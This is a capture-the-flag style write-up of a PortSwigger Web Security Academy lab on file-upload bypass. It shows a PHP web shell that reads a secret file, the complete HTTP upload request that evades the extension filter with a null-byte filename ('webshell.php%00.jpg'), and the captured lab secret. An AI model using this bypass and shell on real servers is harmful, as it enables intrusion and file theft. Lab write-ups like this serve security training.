Web shell upload via obfuscated file extension

Web shell upload via obfuscated file extension

Solution

Login to website

L: wiener
P: peter

Upload webshell

Content of file

┌──(kali㉿kali)-[~/Desktop/writeups/PortSwigger/Web shell upload via obfuscated file extension]
└─$ cat webshell.php 
<?php echo file_get_contents('/home/carlos/secret'); ?>
---
Upload webshell

POST /my-account/avatar HTTP/2
Host: 0ac9006803735138813b1b2400b90012.web-security-academy.net
Cookie: session=aYsW22P3t9cldlQIPks2bP6K8wNPfVbO
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------16637150058318450803875893962
Content-Length: 550
Origin: https://0ac9006803735138813b1b2400b90012.web-security-academy.net
Referer: https://0ac9006803735138813b1b2400b90012.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

-----------------------------16637150058318450803875893962
Content-Disposition: form-data; name="avatar"; filename="webshell.php%00.jpg"
Content-Type: application/x-php

<?php echo file_get_contents('/home/carlos/secret'); ?>

-----------------------------16637150058318450803875893962
Content-Disposition: form-data; name="user"

wiener
-----------------------------16637150058318450803875893962
Content-Disposition: form-data; name="csrf"

kUSYTGB43ulmB6C1hVRoKg3ewp7iZmzU
-----------------------------16637150058318450803875893962--

Read secret

https://0ac9006803735138813b1b2400b90012.web-security-academy.net/files/avatars/webshell.php

Secret: 7f1ygiiZnYES53Zdybt7hk8kOH0rTRPa

Submit solution

Secret: 7f1ygiiZnYES53Zdybt7hk8kOH0rTRPa